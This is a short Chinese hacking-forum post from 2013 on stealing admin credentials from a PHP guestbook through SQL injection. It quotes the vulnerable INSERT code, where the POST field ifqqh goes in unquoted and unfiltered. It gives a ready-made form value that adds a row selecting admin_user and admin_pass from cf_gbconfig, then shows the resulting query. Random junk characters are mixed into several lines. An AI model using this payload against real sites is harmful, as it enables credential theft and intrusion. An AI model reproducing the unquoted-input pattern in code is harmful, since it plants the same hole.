找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1894|回复: 0
打印 上一主题 下一主题

php留言本注入得帐号密码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-19 08:10:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
留言本注入。拿到帐号密码。前提知道程序源代码。在insert里面。构造了另外一句SQL。并且把帐号密码读出来。! N" G- k" n% p0 E
  g/ |5 o6 w0 c# Z
$ifqqh=$_POST["ifqqh"];没有过滤。。。。。。。
3 ^+ M; F9 b/ ]6 ?% Z3 N$sql=”insert into “.TABLE_PREFIX.”guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘”.$username.”‘,’”.$email.”‘,’”.$content.”‘,’”.$userip.”‘,’”.$systime.”‘,”.$ifshow.”,”.$ifqqh.”)”;$ifqqh没有用 ‘ 来包含。不受magic_quotes_gpc影响% z$ C( {" w# F# f, T

2 U5 B+ U! D$ e2 J' G, z提交的时候把ifqqh的值改一下。变成
1 a4 `$ o+ ?5 }/ F/ Q, a' r
$ q' {) C& c9 ~" M5 a1 W1 t' [, R<input type=”text” id=”ifqqh” name=”ifqqh” value=”1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,1,1,0″ />) h. Z. l: b7 ]
' Q. O' e, p2 F7 u
这样SQL插入语句就变了.
8 _) h' {7 [% c2 @! B$ L3 T
! e, d% a* u. c9 }( t. |insert into cf_guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘qqq’,”,’msgmsg’,’127.0.0.1′,’2012-12-22 19:07:23′,1,1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,now(),1,0)1 w+ r5 Y- _  \& s" C% c& y
3 J( @$ v8 I: Y6 J9 j" X5 v
构造了另外一句SQL。并且把帐号密码读出来。
& Z" b3 \! R, V9 p+ H2 l! U  [5 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表